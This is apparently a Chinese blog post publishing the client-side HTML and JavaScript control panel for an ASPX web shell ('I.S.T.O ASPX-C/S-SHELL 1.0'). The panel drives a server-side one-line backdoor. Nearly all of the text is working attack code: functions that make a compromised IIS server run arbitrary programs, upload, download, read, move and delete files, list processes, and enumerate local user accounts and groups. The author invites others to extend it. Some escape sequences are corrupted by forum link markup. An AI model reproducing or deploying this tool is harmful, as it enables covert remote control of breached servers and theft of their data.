服务器端 一句话为
这个一句话不用说了!我之前已经发表文章讲解过!
client端HTML页面代码如下
I.S.T.O ASPX-C/S-SHELL 1.0 by kj021320
body,td{font-size: 12px;}
table{T:expression(this.border='1',this.borderColorLight='Black',this.borderColorDark='White');}
input,select{font-size:12px;}
body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;}
td{white-space:nowrap;}
a{color:black;text-decoration:none;}
function copyFile(s,t){
s=s.replace(/\\/g,"[url=]\\\\[/url]");
t=t.replace(/\\/g,"[url=]\\\\[/url]");
setCmdText('var s="'+s+'",t="'+t+'";System.IO.File.Copy(s,t);');
}
function runFile(s,a){
s=s.replace(/\\/g,"[url=]\\\\[/url]");
a=a.replace(/\\/g,"[url=]\\\\[/url]");
setCmdText('var s="'+s+'",a="'+a+'";var p=new System.Diagnostics.Process();p.StartInfo.UseShellExecute=false;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.FileName=s;p.StartInfo.Arguments=a;p.Start();var o=p.StandardOutput.ReadToEnd();"
"+o+"
"');
}
function editFile(f){
f=f.replace(/\\/g,"[url=]\\\\[/url]");
var code='var stream:System.IO.TextReader,filename,os="",thePath="'+f+'",code;stream=new System.IO.StreamReader(thePath);os=stream.ReadToEnd();os=""+Server.HtmlEncode(os)+"";stream.Close();stream=null;os;';
setCmdText(code);
}
function upfile(f){
f=f.replace(/\\/g,"[url=]\\\\[/url]");
setCmdText('var files=Request.Files;if(files.Count!=0)files.Get("myfile").SaveAs("'+f+'");');
}
function downFile(f){
f=f.replace(/\\/g,"[url=]\\\\[/url]");
setCmdText('var stream,filename,bs,os,thePath="'+f+'";Response.Clear();bs=new byte[1024];stream=new System.IO.FileStream(thePath,System.IO.FileMode.Open);filename=thePath.substr(thePath.lastIndexOf("[url=]\\\\")+1);Response.AddHeader("Content-Disposition","attachment[/url]; filename="+Server.UrlEncode(filename).replace("+"," "));Response.AddHeader("Content-Length",stream.Length);Response.Charset="UTF-8";Response.C;os=Response.OutputStream;var i=stream.Read(bs,0,bs.Length);while(i>0){os.Write(bs,0,i);i=stream.Read(bs,0,bs.Length);}os=null;Response.Flush();stream.Close();stream=null;Response.End();');
}
function ProcessInfo(){
setCmdText('var o;var proc=System.Diagnostics.Process.GetCurrentProcess();o="CurrentProcessInfor:";o+=getProcessInfo(proc);var ptc=proc.Threads;for(var p in ptc){o+="
"+getProcessThreadInfo(p);}o+="OtherProcessInfor:";var ps=System.Diagnostics.Process.GetProcesses(proc.MachineName);for(var p in ps){o+="
"+getProcessInfo(ps[p]);}function getProcessThreadInfo(pt:System.Diagnostics.ProcessThread):String{var o="
Id:"+pt.Id; o+="
BasePriority:"+pt.BasePriority; o+="
CurrentPriority:"+pt.CurrentPriority;o+="
Site:"+pt.Site;o+="
StartAddress:"+pt.StartAddress;o+="
ThreadState:"+pt.ThreadState;return o;}function getProcessInfo(proc:System.Diagnostics.Process):String{var o="
ProcessName:"+proc.ProcessName;o+="
BasePriority:"+proc.BasePriority;o+="
MachineName:"+proc.MachineName;o+="
MainWindowTitle:"+proc.MainWindowTitle;try{o+="
MaxWorkingSet:"+proc.MaxWorkingSet;o+="
MinWorkingSet:"+proc.MinWorkingSet;}catch(e){}o+="
NonpagedSystemMemorySize:"+proc.NonpagedSystemMemorySize;o+="
PagedMemorySize:"+proc.PagedMemorySize;o+="
PagedSystemMemorySize:"+proc.PagedSystemMemorySize;o+="
PeakPagedMemorySize:"+proc.PeakPagedMemorySize;o+="
PeakVirtualMemorySize:"+proc.PeakVirtualMemorySize;o+="
PeakWorkingSet:"+proc.PeakWorkingSet;o+="
PrivateMemorySize:"+proc.PrivateMemorySize;o+="
VirtualMemorySize:"+proc.VirtualMemorySize;o+="
WorkingSet:"+proc.WorkingSet;return o;}');
}
function userInfo(){
setCmdText('function getUserInfo(strUser:String):String{var User,Flags,o="";try{ User=GetObject("WinNT://./"+strUser+",user");with(User){o+="
Description:"+User.Description+"
";o+="PasswordExpired:"+Get("PasswordExpired")+"
";Flags=Get("UserFlags");o+="passover:"+(Flags==65536)+"
";o+="CannotChangPass:"+(Flags==64)+"
";o+="GlobalAccount:"+(Flags==256)+"
";o+="PasswordMinimumLength:"+PasswordMinimumLength+"
";o+="PasswordRequired:"+PasswordRequired+"
";o+="AccountDisabled:"+AccountDisabled+"
";o+="IsAccountLocked:"+IsAccountLocked+"
";o+="Profile:"+Profile+"
";o+="LoginScript:"+LoginScript+"
";o+="HomeDirectory:"+HomeDirectory+"
";o+="HomeDirDrive:"+Get("HomeDirDrive")+"
";o+="AccountExpirationDate:"+AccountExpirationDate+"
";o+="BadLoginCount:"+BadLoginCount+"
";o+="LastLogin:"+LastLogin+"
";o+="LastLogoff:"+LastLogoff+"
";}}catch(e){}return o;}function Userinfo():String{var User,Group,Computer,o="";Computer=GetObject("WinNT://.");Computer.Filter=new Array("User");o+="User:";for(User in Computer){o+=""+User.Name+"";o+=getUserInfo(User.Name);o+="";}o+="UserGroup:";Computer.Filter=new Array("Group");for(Group in Computer){o+=""+Group.Name+""+Group.Description+"";}return o;}Userinfo();');
}
function delFile(s){
s=s.replace(/\\/g,"[url=]\\\\[/url]");
setCmdText('var s="'+s+'";System.IO.File.Delete(s);');
}
function moveFile(s,t){
s=s.replace(/\\/g,"[url=]\\\\[/url]");
t=t.replace(/\\/g,"[url=]\\\\[/url]");
setCmdText('var s="'+s+'",t="'+t+'";if(System.IO.File.Exists(s))System.IO.File.Move(s,t);if(System.IO.Directory.Exists(s))System.IO.Directory.Move(s,t);');
}
function Info(){
setCmdText('var o="";o+="
MachineName:"+Environment.MachineName;o+="
UserDomainName:"+Environment.UserDomainName;o+="
UserName:"+Environment.UserName;o+="
OS:"+Environment.OSVersion;o+="
ADDRESS:"+Request.ServerVariables("LOCAL_ADDR");o;');
}
function check(){
Top.action=Top.URL.value;
setCmdName(Top.KEY.value);
setCmdText("Server.MapPath(\".\")");
}
function listFolder(p){
p=p.replace(/\\/g,"[url=]\\\\[/url]");
setCmdText('var p="'+p+'",output="";output+="DIR:
";if(System.IO.Directory.Exists(p)){var ds=System.IO.Directory.GetDirectories(p);for(var i in ds)output+=ds+"
";output+="FILE:
";var fs=System.IO.Directory.GetFiles(p);for(var i in fs)output+=fs+"
";}output;');
}
function setCmdName(n){
getCmd().name=n;
}
function setCmdText(str){
getCmd().value=str;
}
function getCmd(){
return document.getElementById("Command");
}
SHELL:
KEY:
path:
Opt:source:target:
FileOpt:Filepath:
RunFile:Filepath:Args:
Inf
upfile:save:
var Top=top.address;
基本上平时ASPXSHELL的文件操作功能我都加入进去了 注册表跟数据库操作的没写!多加了个进程浏览 用户组浏览 具体更多的功能迟点再更新吧~具体更新信息请关注I.S.T.O 开源项目区http://blog.csdn.net/I_S_T_O/category/325894.aspx 没有实现的功能,有兴趣的朋友可以接力 :) |